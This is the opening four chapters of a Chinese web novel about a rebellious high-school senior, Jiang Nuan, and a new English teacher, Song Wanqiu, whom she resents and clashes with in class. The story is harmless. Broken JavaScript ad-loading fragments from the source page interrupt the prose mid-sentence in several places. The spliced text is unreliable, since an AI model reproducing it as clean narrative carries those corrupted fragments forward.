《遥不可及的她》 1. 第1章 “咚咚咚……” “暖暖,快起床!” “快点,要迟到了!” 江知云左手举着锅铲,右手连连拍门,“江暖,听到没有?” 急促的敲门声像是一只莽撞的野兽在撞击着门扉,将熟睡的女孩从混沌的梦境中拉扯出来。 意识在迷糊与清醒之间挣扎,江暖眼睛半睁半闭,脑子还处于宕机状态,整个人仿佛被一层浓雾笼罩着。 身体本能抗拒着这突如其来的打扰,江暖蜷缩在被窝里,不愿动弹。 “江暖,我给你三分钟,不起床这个月的零花钱别想要了!” 江知云心系锅里的煎蛋,撂下狠话便小跑向厨房。 “烦死了,永远都是这招!” 江暖不情不愿的从被子里探出脑袋,拿起床头柜上的手机,眯着眸扫了一眼屏幕,“才五点半,怎么就迟到了!!” 吐槽归吐槽,她可不敢赖床,毕竟上个月她偷偷去网吧被江女士抓包,这人扣了她一个月的零花钱,导致她现在兜比脸都干净。 江暖睡眼惺忪地从床上爬起来,顶着乱糟糟的鸡窝头来到餐厅。 她垂眸盯着餐桌上黑乎乎的煎蛋,清秀的五官皱成一团,“江女士,人活着没必要太为难自己,你说是吧?” “如果你不赖床,这个蛋就不会糊。”江知云斜了江暖一眼,脱下围裙,坐在餐椅上。 “鬼扯!明明是你不会做饭…”江暖下意识反驳完,发现江女士露出标志性的假笑,话风一转,“您说的对,都是我的锅!” “瞧你那没出息的样子!”江知云嫌弃的瞪了江暖一眼,纤手一挥,“去洗漱了来吃早饭。” “收到!”江暖麻溜转身。 餐桌上,江知云抿着黑咖啡,看着对面啃干面包的女儿,一时有点愧疚。 这些年她一心扑在事业上,没给女儿做过一顿饭,本想着开学第一天亲自下厨给女儿做顿早餐,结果却以失败告终。 江知云暗自叹口气,“要不妈妈还是把王姨请回来给你做饭吧?” 江暖嚼着干面包,摇头,“学校要求高三学生住校,平时我得在学校食堂吃饭,周末咱们可以去外面餐厅吃,用不找请保姆。” “那行吧。”江知云瞥了一眼江暖,将左手边的银行卡推到她面前,“暖暖,这张卡里妈妈给你存好了这学期的生活费。” 顿了顿,她又说:“妈妈今天要去国外谈一个并购案,可能…” 江暖咀嚼的动作和唇边的笑一同顿住,用力咽下面包,有点噎人,滚了滚喉咙,打断对方后面的那些耳熟能详的话,“这次要去多久?” “一个月左右…”江知云放柔声音,“不过也说不准,进展顺利的话可能半个月就回来了。” 话落,一室静默。 “知道了。” 江暖将银行卡接过来,紧攥在掌心,细嫩的肌肤被卡边缘硌的有点疼,“既然周末你不在家,那我就自己去吃大餐了。” 江知云略带心虚的嗯了一声,“多吃点。想吃什么吃什么,这卡里妈妈给你存了一万,不够妈妈再给你转。” “谢谢妈妈。” 江暖忽地拿起桌上的筷子,夹起餐盘里黑漆漆的煎蛋,低头咬了一大口。 嗯,真苦! 苦的她舌尖到心尖都在发麻。 江知云见女儿低着头一个劲的吃煎蛋,红唇轻微翕动了两下,却什么声音都没能发出来。 母女二人相顾无言的吃完早餐。 晨曦微露,阳光如金色纱幔,轻轻覆盖在街道上。早上六点半,街上的行人与车辆渐渐多了起来,构成了一幅生动的画面。 京北三中门口。 江知云从后备箱取出江暖的行李箱,想到这是女儿第一次离家住校,叮嘱道:“暖暖,在学校如果遇到自己解决不了的事,记得第一时间给妈妈打电话啊。” “知道了。”江暖点头后忍不住腹诽,“我打过去也得有人接听才行。” 从小到大,有很多次江暖遇到麻烦,都是保姆出面处理完之后她妈的电话才能接通。 江知云摸了一下江暖的发顶,“高三了,妈妈对你没有别的要求,只希望你照顾好自己,然后尽可能的让教导主任少给我打几通电话。” “老林那人就喜欢告状,我有什么办法。”江暖偏开头,不服气的皱了皱鼻子。 江知云悻悻地收回手,呛她,“如果你不惹事,他用得着向我告状吗?” “那别人也犯错,他怎么不告状!”江暖双手插在校服兜里,梗着脖子犟。 “你这孩子怎么这么不懂事啊!” 江暖冷哼一声。 江知云拿江暖没辙,叹了口气,“江暖,你不愿意学习没人强求你,大不了妈妈送你出国,但你不可以总是惹事生非,更不可以打扰其他同学学习,知道吗?” 江暖眸光黯了黯,移开视线,“你不是八点的飞机吗?快去机场吧,我走了。” 说完提着行李箱,头也不回的离开。 江知云目送女儿走进校门,坐上车,揉了揉眉心。 明明小时候的江暖十分乖巧可爱啊。 难道青春期的孩子都会变得叛逆? 半分钟后,车子扬长而去。 江暖走出校门,返回方才停车的地方。眼睛直勾勾地盯着车子驶离的方向,没有焦点。那原本灵动的双眸像是失去了灵魂,空洞洞的。 “醒醒,快到了。”冷星然伸手推了一把副驾驶上一脸困倦的女人,“你说说你,就不能早点回来,非要玩到开学前一天才返程。” “嗯?这么快就到了?”宋晚秋慢悠悠的坐起身,“我这不是没想到八月一号就开学了嘛…” “我说宋老师,高三提前开学是常识啊!”冷星然看着街边穿校服的学生,感慨出声,“时间真快啊!转眼间你都从学生变成老师了。” “是啊。”宋晚秋打开手机,盯着老师群里发的课表,一周有三节英语早读,蹙眉,“早知道高中老师要起这么早,我就该去当大学老师。” “你现在辞职还来得及。”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “算了,我还是更喜欢高中校园。” 高三开学,如同一场没有硝烟的战役悄然打响。开学第一天,送学生上学的家长异常多,校门口的马路被围的水泄不通。 冷星然双手把着方向盘,环顾四周找地方停车,好不容易看到了一个车位,但车位旁杵着一个穿校服的小姑娘。 见对方垂着头,似乎在走神,冷星然便按了一下喇叭。 滴滴滴——— 江暖被突如其来的刺耳喇叭声吓得在原地跳了起来,落地后,右手连连拍着胸脯,脸色惨白地扭头望向声源。 女孩周身散发着一种被孤独浸透的气息,在听到喇叭声时,像一只受惊的兔子似的蹦跶了一下,瞬间又变得生动、鲜活起来。 这才是这个年纪的小孩该有的样子嘛。 宋晚秋笑了一声,似晨间穿林风。 当看清女孩缓慢转过来的幽怨面容时,宋晚秋怔愣住了。 是她! 冷星然降下车窗,探出头,“同学,麻烦让让。” “我说阿姨,你有没有素质啊?学校附近禁止鸣笛,不知道吗!” 江暖冲冷星然翻了个大大的白眼,拖着行李箱,昂首阔步的走了。 瘦削的背影拽得和二五八万似的。 冷星然:…… “噗嗤——”目睹一切的宋晚秋笑出声,“现在的小孩是真刚啊!一言不合就开怼!” “阿姨?我也就比她大个六七岁吧!”冷星然气笑了,指了指自己,“还有,我没素质吗?” 宋晚秋手轻拍着对方的胳膊,安抚特意来送自己上班的闺蜜:“谁说的?我们一身正气的冷警官怎么可能没素质呢?乖,咱们不和小孩子一般见识哈!” “都高三了还小孩!”冷星然单手把着方向盘侧方停车,“话说回来,现在的小孩儿这么有个性,你hold住吗?” 宋晚秋不以为然的勾唇一笑,“姐们年轻的时候可比她们有个性多了。” 冷星然闻言想到宋晚秋高中毕业的时候学校教导主任特意跑来跟她拍照,声泪俱下的感谢这人在高三的最后一年里没给他添麻烦。 “也是,当年你可是一中一姐。” 宋晚秋傲娇的抬了抬下巴,“那是,姐们当年可差点就混社会去了。” 冷星然笑着调侃她,“幸好你及时回头没真去混社会,否则咱两现在可就是警匪关系了。” “那不能够,如果我真去混社会肯定会拉你一起上山的。我当大姐,你当二姐。” 冷星然敛起笑容,表情蓦地变得严肃,“我这辈子就只想在京北做一名警察。” 宋晚秋愣了愣,欲言又止的看着冷星然,心中忽然打起了鼓,犹豫着要不要问,怎么问。 可惜,不等她问出口,冷星然已然停好车。 冷星然紧绷的表情略微松动了一点,冲宋晚秋挥了挥手,“去吧,宋老师,替阿姨教育好祖国的花朵们!” “yessir!”宋晚秋下车,“那我走了,下班请你吃饭。” 2. 第2章 江暖提着行李箱站在303宿舍门口,发现里面密密麻麻站着一堆人。 学校宿舍是四人间,除了江暖,其他三位室友的父母此刻都在爬上爬下的给自家孩子整理床铺。 江暖皱了下眉,从兜里掏出耳机戴上,目不斜视的走到自己的床位跟前,蹲下身,打开行李箱,从里面取出床单被罩,生疏的铺床。 七点四十。江暖单肩背着书包,戴着耳机走进高三六班的教室。 教室里,桌椅摆放得整整齐齐,课桌上堆满厚厚书本和学习资料,教室后面的黑板上写着大大的“高考倒计时:300天。 高考倒计时是一个明确的信号,提醒着所有人时间的紧迫性。倒计时的启动就像是一场马拉松的最后冲刺阶段,老师、学生、家长都在向着高考这个终点全力奔跑。因此整个教室的氛围变得紧张而又充满动力。 “暖宝,这里。”坐在窗边倒数第二排的陈沐禾激动的冲江暖挥手。 江暖摘下耳机,慢不斯理的走上前,拉开凳子,随手将书包丢进桌肚里,扫了黑板上写着的今日课表一眼,抽出英语书。 “你怎么来这么早?” “这不是来给您占睡觉的风水宝地嘛。”陈沐禾递给江暖一瓶酸奶,想起刚听江暖舍友在议论江暖她妈没来送她,“宿舍的床铺整理好了吗?” 江暖接过面前的酸奶,拆开吸管外面的塑料包装,插进纸盒里,没什么表情的点点下巴。 而后是长久的沉默。 陈沐禾抿了抿唇,用肩膀轻轻撞了一下垂眸喝奶的江暖,露齿一笑,“暖宝,我一大早就来给你抢座位,你打算怎么感谢我啊?” “请你吃大餐。”江暖放下酸奶,低头将饭卡从书包里掏出来,“喏,给你,随便刷。” “行,中午你请客啊。”陈沐禾将饭卡装进兜里,“我要吃大份黄焖鸡,还要喝奶茶…” “没问题。”江暖见她一副吃货的模样,寡淡的脸上露出一抹坏笑,“暑假你是不是没上过称?” “你怎么知道?” “你觉得呢?” “难道我胖了?” “显而易见。” 两人嬉闹间,林洛小跑进教室,气喘吁吁的坐在江暖后面的座位上。 前排的江暖和陈沐禾同时转身,“马上要上课了,你怎么才来啊?” “别提了,我去了一趟教务处。” 两人异口同声:“去干嘛了?” “这不是想把咱三换到同一个宿舍吗?” 江暖、陈沐禾、林洛是铁三角,初中到高中每次分班如果她们三个没分到一个班,林洛都会求她那教育局主任的亲妈出面将她们换到一起。 “老林怎么说?”陈沐禾兴致勃勃地问。 老林是她们三人最讨厌的、最爱叫家长的告状精——教导主任。 林洛扁扁嘴,“他不同意。” “为什么?”陈沐禾追问。 林洛手摸着下巴,学着教导主任一脸严肃的样子,一板一眼的说:“学校规定不可以随便换宿舍。况且你们三个待在同一个宿舍里,会影响宿舍其他同学的学习。这事没得商量!” 江暖耸耸肩,不以为意,“换不了就换不了吧,反正宿舍都离得不远,不会影响我们的革命友谊。” 陈沐禾小鸡啄米式点头,附和道:“我会天天去你俩宿舍串门的。” 林洛将小说从书包里拿出来,想到刚在教务处听到的情报,语气激动,“对了,咱们班要换英语老师了。” 江暖兴致缺缺的哦了一声,“换呗。” “听说新老师是个年轻的女老师呢。”林洛双手托腮,嘿嘿嘿傻乐,“真好啊,终于不用再面对凶神恶煞的老周头了。” 陈沐禾跟着她笑,很快担忧道,“不过我们还是先别高兴的太早,带高三的老师哪个不是凶神恶煞的。” 林洛愣了几秒,“不至于吧。年轻老师大多想得开,情绪会稳定一些。” “还真至于!”江暖捏了一下林洛的脸,“咱老班也就三十来岁,你觉得她情绪稳定吗?” 林洛想到老班的河东狮吼,生无可恋的长叹一声,“苍天啊!来个温柔的老师吧。” “叮——” 清脆的上课铃声响起,半闭着的教室门被人一把推开。 “吵吵吵,就知道吵!都高三了还吵。”班主任许嘉人未进教室,声音先传来,“整个楼道里全是咱们六班的声音。看看你们一个个像什么样子!上课铃都响了多久了,还在交头接耳!” 许嘉双手抱胸,声音高亢而严厉,震得教室里的窗户似乎都在微微发颤,原本叽叽喳喳的学生顿时噤若寒蝉。 她犀利的目光扫视一圈,看到江暖趴在桌子上时,眉头皱得像两条即将发起攻击的毛毛虫。 “江暖,你没长骨头吗?给我坐好!” 教室里的学生被这一声呵斥吓得一哆嗦,江暖早已习惯被当成儆猴的小鸡崽,慢腾腾的坐直身,给了班主任一个“可以了吧”的眼神。 说话间,许嘉瞟到站在门口的宋晚秋,偏头冲她柔婉一笑,复又转回头皱着眉头,眼神如炬地的看向讲台下,“你们英语老师生病了,这学期的英语课将由新来的宋老师代课…” 江暖发现班主任在看向门口时一秒变脸,面露疑惑的看向门口的方向。 许嘉大致介绍完,笑着冲候在门口的宋晚秋招了招手,示意对方可以进来了。 职场新人宋晚秋深吸一口气,握紧手中的教材,迈着自信的步伐走进教室。 教室里所有学生一瞬不瞬的盯着门口,期待着新老师的到来。 进来的女人身着轻薄白色衬衫,搭配一条黑色阔腿裤,营造出优雅大气的氛围,脚踩一双米色细高跟,露出纤细的脚踝。 高跟鞋敲击地面的声音与同学们的议论声此起彼伏,如同夏日里 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的蝉鸣,热闹而充满活力。 “哇,新老师好漂亮啊!”林洛激动的左右手开工,狂拍江暖和陈沐禾的肩膀。 陈沐禾看呆了,“我去,她长得好像明星。” 林洛:“妈呀,她好高啊!” 陈沐禾:“这不就是传说中的冷白皮。” 这两人你一句我一句聊的不亦乐乎,反观江暖出奇的沉默,她目光寒冽的盯着讲台上和班主任交谈的女人。 许久,江暖双臂环胸,饶有兴致的勾起一抹坏笑,在心底说:“讨厌鬼,别来无恙!” 陈沐禾扭头看向身侧过分安静的江暖,见对方目光阴测测的盯着讲台,疑惑:“怎么了?” “没怎么。”江暖敛起幽怨眼神。 “难道你不觉得宋老师很漂亮吗?”陈沐禾双手托腮,一副花痴的盯着宋晚秋。 江暖目光重新落回讲台上。 清晨的阳光穿透玻璃,洒在女人身上,衬得她面容精致如画,黑色长发被束成一个低马尾,几缕发丝自然地垂落在脸颊边,如丝绸般柔顺,为她增添了几分温柔,加上她脸上洋溢着自信的笑,简直美得让人窒息。 “不漂亮”三个字在江暖嘴里绕了几圈,终究无法说出违心话,漫不经心的答:“漂亮。” “那你怎么这么淡定啊?” 以往江暖在大街上看到美女都要拉着陈沐禾和林洛八卦大半天,这还是她第一次见江暖面对美女无动于衷。 江暖勾起一抹意味不明的笑,嗫嚅,“有些女人虽然长得漂亮,但人品实在难以恭维…” “你嘀咕啥呢?”教室太吵,陈沐禾没听清。 江暖收回目光,翻开桌上的英语书,言简意赅,“我和她磁场不合,不喜欢她。” “啊?”陈沐禾一脸懵,“说什么胡话呢?吃错药了?” 许嘉给宋晚秋大概交代了几句,“那我就不耽误你上课了,我先回办公室了。” “好的。麻烦您了。”宋晚秋将教案放在讲桌上,拿出U盘准备播放里面的课件。 许嘉走到门口,猛然扭头看向教室最后排的方向,扯着嗓门训话,“高三了,收起你们身上的懒散劲,给我打起精神,好好听课。” 宋晚秋被突如其来的声音吓得一激灵,U盘没拿稳,差点掉地上。 果然不是谁都能胜任班主任这份工作的,她这辈子大概发不出如此中气十足的声音。 许嘉吼完,关门离开。 宋晚秋捏了根粉笔,转身在黑板上写下自己的名字,嗓音温柔,“Hello,everyone!I''mSongWanqiu,Nicetomeetyou!” 讲台下,不知谁大声喊了句:“Hello,teacher!”,紧接着,大家纷纷回应:“Nicetomeetyoutoo!” 宋晚秋浅笑颔首,当视线不经意落在靠窗边后排的位置时,眸光一滞。 3. 第3章 今天是宋晚秋第一天上课,她打算先和学生拉近关系,浅浅一笑,“你们可以叫我宋老师或是其他任何你们喜欢的称呼。” 停了一下,补充道:“不过,老师有一个请求,你们能不能不要叫我老宋?” 一贯爱出风头的陈沐禾举起手:“为什么啊宋老师?” 宋晚秋看向陈沐禾,眉梢一抬,“BecauseI''myoungandpretty…” “那我能叫你宋宋吗?” “Ofcourseyoucan!” “啊!宋宋性格真好。”陈沐禾摇晃着同桌胳膊,眼神坚定地能入党,“我宣布,从今以后宋宋就是我最喜欢的老师。” 江暖:…… 性格好?! 教室里笑声一片,江暖耳边突兀的响起女人梨花带雨的控诉声,“宋晚秋,你没有心!” 而性格好的宋老师当时怎么说的来着? 哦,人家轻描淡写的说了句“谢谢夸奖”。 这种人性格好? 简直残忍到泯灭人性了好吗? 想到这里,江暖微抿着的嘴里下意识地蹦哒出一个单词,“Narcissism!” 因过于义愤填膺,她一时没收住声音,这个单词精准落入宋晚秋与全班同学耳中。 宋晚秋嘴角的笑蓦地僵住,表情有了一丝尴尬的裂缝,抬眸看向发言人。 女孩扎着高马尾,一双黑白分明的大眼睛瞪着自己,眸中漾着说不上是嫌弃还是嘲讽的碎光。身上蓝白相间的校服外套被她穿得松松垮垮的,身子斜歪着靠在座椅上,懒散的模样看着像个吊儿郎当的小混混。 宋晚秋抿了抿唇,这小破孩不仅骂警察没素质,还骂老师自恋,有点刚过头了! 江暖一错不错的直视着宋晚秋的打量,见对方神情自若,眸光愈发的阴沉。 果然,讨厌鬼不记得我了。 宋晚秋想到自己前不久才开导冷星然不要和小孩一般见识,便冲江暖大方一笑。 她收回目光,言归正传,“好啦!不浪费大家宝贵的时间了,让我们正式拉开新学期第一节课的帷幕吧。” 挑衅被忽视,江暖气的面部肌肉直抽搐。 宋晚秋边播放课件边说,“高三英语复习我们分为三个阶段:一轮基础,这个阶段我们主要抓词汇+语法+写作、二轮提升,主攻专题+套题、三轮冲刺便是回顾+真题+套题…” “你什么情况?”陈沐禾用胳膊肘捣了一下脸色难看的江暖,“你怎么能说宋老师自恋?大庭广众之下,多不给人面子啊!!” “她本来就自恋。”江暖的目光明明白白表达了蔑视,“不仅自恋还讨厌!” 陈沐禾一噎。 虽说江暖偶尔会欺负同学,不对,不是欺负同学,是与生存理念不同的同学,进行不太友好的交流。但她从不欺负老师。就连最讨厌的教导主任,也只是背后吐槽。 但刚才江暖对宋老师直接贴脸开怼,陈沐禾敏锐的察觉到了不对,侧着脑袋看着她的同桌,“不对,你有猫腻。” “我有个锤子猫腻!”江暖坐在座位里泪眼婆娑地打着哈欠。“闭嘴,别吵我睡觉。” 说完,她将脑袋埋在课桌上高高的一摞课本后面,不停扭动着身子,调整好了一个舒服的姿势后伏在桌子上,把头深深地埋进臂膀。 陈沐禾小声嘁了一声,“你睡吧,我可要专心听美女老师讲课了。” 宋晚秋声情并茂地讲解着课件,目光不经意间扫过教室,发现有人趴在课桌上,一动不动。 她微皱起眉,停止讲解,走下讲台。 女孩趴在桌子上,侧着头,睡得挺熟,宽大的校服套在她身上,显得她瘦瘦弱弱的,让人莫名生出一种不忍心喊她起床的感觉。 但现在是上课时间! 宋暖秋心中涌起一丝无奈。曲起指节,敲了敲课桌,声音不大,却足以让江暖惊醒。 被吵醒的江暖皱了皱眉,慢吞吞地从桌子上爬起来,睡眼惺忪,脸上还带着一丝迷茫。 宋晚秋垂眸看着江暖,眸中既有责备,又有一丝担忧,“怎么在课堂上睡觉?是不是身体不舒服啊?” 被吵醒的江暖满脸写着不高兴,含含糊糊地“唔”了一声,斜眼瞟她,“显而易见,太困了就睡着了啊。” 如此简单粗暴的回答让宋晚秋梗了一下。 教室的墙壁上挂满了激励人心的标语,时刻提醒着大家高考的紧迫性,而江暖周身却完全感受不到一丝的紧迫感。 她黑白分明的眸子里只有空洞和迷茫。 沉默几秒,宋晚秋嗓音轻柔,“高三每一节课讲的内容都至关重要,以后不可以再在课堂上睡觉了,知道吗?” 江暖揉了揉眼睛,有气无力地哦了一声。 宋晚秋:…… 宋晚秋嘴角微微抽动了一下,一时不知道说什么便回到讲台,继续讲课。 “叮——” 欢快的下课铃声在燥热的空气中回荡,如同解放的号角,瞬间打破课堂的沉闷。 宋晚秋停止讲课,合起课本,“今天的课就上到这里,希望大家回去好好复习。” 同学们纷纷起身,“老师再见!” 宋晚秋笑着走出教室。 教室里顿时热闹起来,有的同学在讨论刚才的课程内容,有的在聊暑假的经历。有的趴在课桌上小憩。 陈沐禾和林洛相视一眼,齐齐凑到趴在桌上睡觉的江暖耳边,“你什么情况?” “什么什么情况?”江暖阖眸反问。 林洛:“你刚才为什么要怼宋宋啊?” 陈沐禾举着两根手指,补充道:“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 而且一节课怼了人家两次!” 江暖闭着眼,照旧还是那副说辞,“我跟她磁场不合,看她不顺眼。” “鬼才信你!”陈沐禾翻了个白眼,左右手分别在江暖左右眼皮上,上下一扒拉,迫使她睁开眼睛,“你肯定有事瞒着我们。” 江暖伸手将眼皮上的爪子拍下去,“我说的都是真的。” 见对方不信,她闭上眼说瞎话,“算命的说我和姓宋的天生相克,如果遇到姓宋的,一定要压对方一头,才能逢凶化吉。” “真的?哪个算命的说的?”陈沐禾第一次听到这事,震惊的不知不觉嘴巴都张成O形。 “原来如此!”林洛露出一副恍然大悟的神情,“怪不得你总和宋欣吵架呢。” 宋欣是班里的学习委员,也是全班第一,还是所有老师眼里的香饽饽。 而江暖是班里的刺头,也是全班倒一,还是所有老师的眼中钉,肉中刺。 关键这位学习委员比班长还尽职尽责,每次江暖犯错,宋欣总会以光速通知班主任,班主任和教导主任又会以光速通知江知云,最后江知云会以光速扣光江暖的零花钱。 江暖没少因为这事跟宋欣吵。 江暖憋着笑,“对,我和姓宋的天生相克。” 陈沐禾面色凝重,小声撒娇,“要不然你以后碰见宋老师绕着走行不行,不要压宋宋嘛。她那么温柔漂亮,我不忍心看她难过嘛…” 林洛点头附和,“刚才我看到宋宋的表情僵在脸上,我有点心疼。” “她那种人怎么可能会难过。”江暖在心底冷笑一声。 陈沐禾喜欢这个温柔的新老师,双手抱着江暖的胳膊,哼哼唧唧的撒娇,“暖宝,能不能考虑一下和宋宋和平共处呢,我们是好孩子要尊师重道哦。” 江暖一心只想睡觉,做出让步:“只要她日后不找我麻烦,我便和她井水不犯河水。” 林洛竖起大拇指:“暖宝大气!” 三人说话间,上课铃声响起。教导主任兼数学老师的老林端着茶杯和教案走了进来,教室里瞬间鸦雀无声。 高三教研组办公室。 宋晚秋坐在椅子上,手里无意识地翻着班级学生的资料,在脑海里复盘自己任教的第一堂课。 最终勉勉强强给自己打了个80分。 如果不是那小孩,应该能得满分的。 不得不说,她和这小孩还挺有缘。 走神间,许嘉走了过来,“宋老师,第一天上课感觉怎么样?班里的学生还算听话吧?” 宋晚秋敛起思绪,颔首,“还不错。” 许嘉牵起一抹自豪的笑:“我们班的学生大多数都比较乖,只有个别几个比较调皮。” 宋晚秋认同的点点头,想到什么,问:“对了,靠窗倒数第二排那个学生叫什么名字?” 4. 第4章 “窗边?江暖吗?”许嘉心中警铃大作,脸色一变,“她怎么了?她上课又捣乱了吗?” 不待宋晚秋回答,许嘉忽地抬起手开始扒拉自己稀疏的发顶,语气激动,“宋老师,你看到我这里的白头发了吗?全是被江暖那个混世小魔王给我气出来的。我现在只要一看见她,我这白头发就滋滋滋的往出冒啊!!!” “看到了…”宋晚秋忍俊不禁的解释道,“江暖没有捣乱,是她上课的时候睡着了。” 许嘉听到江暖没有打扰其他人学习,肩膀一塌,松了口气,很快又重叹了口气,“正常,这孩子从高一一路睡到了高三。” 宋晚秋诧异,“她一直这样吗?” 许嘉颇为无奈的嗯了一声,三十多岁的脸皱得和五十岁似的,满脸褶子,“你也知道我们做老师的充其量只能算是学生的领路人,至于路最终要怎么走还得看他们自己,以及学生家长们的配合。但江暖不愿意学习,而她妈妈也似乎完全不在意她的成绩,我们作为老师,该说的话都说了,其他的也就真的没办法了…” 宋晚秋若有所思,“那她成绩怎么样?” “第四十五名。”提起江暖的成绩,许嘉脑瓜子嗡嗡作响,伸出手,用力揉了揉太阳穴,“全班一共才四十五个学生。” 宋晚秋:…… 许嘉见宋晚秋陷入沉思,开解道:“对她你不用太较真,如果她上课睡觉,你提醒几次,她不听就随她去吧,我们还有那么多学生要管,没精力天天趴在她耳边喊她起床,你说是吧?” 宋晚秋并不认可她的这番话,但每个人有自己的教育理念,轻点下巴,“我知道了。” 作为高三学生,体育课少的可怜。课表上放眼放去全是语数外,史地政。 下午的第二节课又是英语课。 窗外,知了在树上不知疲倦地鸣叫着,和教室里偶尔传来的翻书声交织在一起,共同谱写着一曲青春与梦想的乐章。 炽热的阳光透过玻璃窗,肆无忌惮地倾洒在课桌上,头顶的风扇不知疲倦地转动着,发出沉闷的声响,却依然无法驱散这令人窒息的闷热。 宋晚秋读课文的声音回荡在教室里,江暖两只手撑着沉重的脑袋,上眼皮与下眼皮直打架。 三分钟后,她放弃挣扎,往桌上一趴,脸埋进臂弯里,睡得天昏地暗。 宋晚秋课讲到一半发现江暖又在睡觉,边讲课边走到江暖身边,手轻轻敲了敲桌子。 江暖慢悠悠的睁开眼,入目便是一只骨节分明的手,鬼使神差的想,果然美女哪哪都好看。 宋晚秋发现睡神一睁着眼,便盯着自己的手晃神,不明所以,耐着性子喊人:“江暖?” 头顶传来女人温柔又清脆的呼唤声,江暖茫然的眨巴眨巴眼睛。 她怎么知道我的名字? 终于认出我了? 思及此,江暖倏地抬眸看向宋晚秋,见对方淡漠的看着自己,眸中全然没有半分内疚,心底的一丝喜悦瞬间烟消云散。 “干吗?” 宋晚秋声音微沉:“课堂上不允许睡觉!” 江暖无语,原来是这事啊! 本打算井水不犯河水,偏偏这人上赶着找不痛快。 江暖拖着脑袋慢吞吞地眨了眨眼,又不紧不慢的打了个哈欠,拖着长音,“也不知是这天气太燥热,还是老师讲的课太催眠,我困的完全睁不开眼睛。” 这小孩儿打了个哈欠以后一双大眼睛水汪汪的,有点红,眼尾的弧度阔开,眼角微勾,睫毛蔫巴巴地耷拉着,有点可怜。 但她话里毫不掩饰的挑衅又很可恶。 宋晚秋微拧起眉,“你去后面站着听,很快就清醒了。” “啊!”江暖发出一个单音节,“我不去,都什么年代了,你还搞体罚这一套!” 班里的同学纷纷转头看向江暖。 教室里一片安静,只剩下呼吸的声音。 陈沐禾悄悄拽了一下江暖的衣摆,示意她不要公然和老师对着干。 宋晚秋心中一突突,好看的眉拧成一团,一贯温柔的声音也渐渐紧绷起来,“江暖,我再说一遍,去后面站着听。” 空气中像是被人撒了凝固剂。 林洛瞥了一眼宋老师的阴沉表情,从后面轻轻踹了一下江暖的凳子,小声催促,“快去啊。” 江暖:…… “说了不去就不去。”江暖牛脾气上来了,嗓门也大了起来,一副天经地义的样子,“我都睡了这么多年了,从来没有一个老师让我去后面站着听课,凭什么你要让我站着!” 话音一落,教室里彻底陷入死寂,连呼吸的声音都没有了。 宋晚秋额角青筋一蹦,居高临下的俯视着江暖,眸光沉沉的,语气严肃,“我不管其他老师是怎么教学的。但在我的课上,上课绝不允许睡觉,你要睡觉,就必须去后面站着听。” “我也再说一遍,我不去,天王老子来了我也不去。”江暖实在没耐心听这人逼逼,吼完趴在桌子上,拒绝与她对视。 陈沐禾手拍了拍她这叛逆同桌的胳膊,压着嗓子,“你快起来,别睡了啊!” “闭嘴!少烦我!”江暖扭头凶巴巴的瞪了陈沐禾一眼,又继续趴在桌子上。 陈沐禾一噎,做了个嘴巴拉拉链的动作,干脆利落的闭上嘴。 目睹全过程的宋晚秋:…… 宋晚秋舌尖顶了顶上颚,压下心头蹿起的火苗,身子靠在江暖课桌边上,“可以,不去也可以。这节课我就站在这儿讲,我还挺想见识见识我讲课的催眠效果。” 话音一落,江暖脑袋从桌上支楞起来,瞪圆眼睛,巴掌大的脸上五彩缤纷。 老师大喇喇的杵在旁边,这觉还怎么睡?! 再好的心理素质也睡不着吧! 而且就算能睡着,也得做噩梦吧! “烦死了!”江暖拧着眉,挫败地吐出一口气来,椅子往后挪了挪,拿起课本起身,“麻烦您让让。” 宋晚秋往右边跨了一步,盯着江暖雄赳赳气昂昂的背影,几不可察的勾起唇。 “不好意思,耽误大家时间了,我们接着上课。”宋晚秋声音里带着一丝没散的笑意。 站在教室后面的江暖整个人像没了骨头似的倚靠在墙上,双肩一高一低,脑袋歪向一侧,眼睛死死地瞪着讲台上春风得意的宋晚秋。 第三次了! 这个女人欺辱她第三次了! 士可杀,不可辱! 做课堂练习时,宋晚秋走到江暖面前,温柔的语气带着关心,“江暖同学,现在还困吗?” 江暖:……< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>如果没有看到宋晚秋眸中的得意,江暖还真就信对方是来关心自己的。 行吧,算你狠。 站了半个多小时,江暖双腿都快打直了,君子报仇,十年不晚。于是她决定暂且服个软,等坐回座位上了再睡。 “谢谢老师关心,我不困了。”江暖语气听起来难得有些软。 宋晚秋看了她一眼,点点下巴,“那继续站着吧!老师担心你坐回去又困了,还得重新回来站着。这天干物燥的,还是不要来回折腾了…” 江暖:??? 说完不理会江暖凶神恶煞的眼神,和嘎嘎作响的磨牙声,宋晚秋潇洒的转身回到讲台上。 江暖气的七窍生烟。 这种泯灭人性的人到底是怎么成为老师的! 下课铃响起,宋晚秋拿着教案离开。 虽然目前只上了两节英语课,但大家发现宋老师是一分钟都不会拖堂的。 这个难能可贵的好习惯,让她们愈发喜欢这位新来的美女老师。 除了在后面罚站的江暖。 江暖站了一节课,僵着双腿回到座位,砰的一声将课本扔在桌子上,双手叉腰看向陈沐禾与林洛,火冒三丈,“你们看到了吧,是她不讲武德先欺负我的,打今儿起,我和她势不两立!” 陈沐禾嗫嚅:“明明是你上课睡觉在先…” 林洛觑了江暖一眼,劝说道:“宋宋让你去后面站着听课也是为了你好嘛…” 江暖:…… 终于明白什么叫做三观跟着五官走。 眼下她这两个从小穿一条裤子长大的闺蜜已经被猪油蒙了心,选择站在了她的对立面。指望她们帮自己是不可能了,江暖决定孤军作战。 京北三中虽然不是像一中二中的名校,但也是一本进线率百分之八十的重点高中。 三中的校长即将退休,老人家励志要在退休前将学校一本线率提升到百分之九十。而他认为高三的晚自习对于学生来说至关重要,于是将晚自习由原来的九点半延长到了十点半。 窗外夜色深沉,繁星点点,夏虫低鸣,教室里灯光如昼,闷热的空气弥漫在教室里,同学们额头上微微渗出的汗珠,身影挺拔如白杨,神色专注而坚毅。 他们不停翻动着书本,笔尖在草稿纸上沙沙作响,都在进行着一场无声的奋斗盛宴。 这群拼搏的学子里唯独不见江暖的身影。 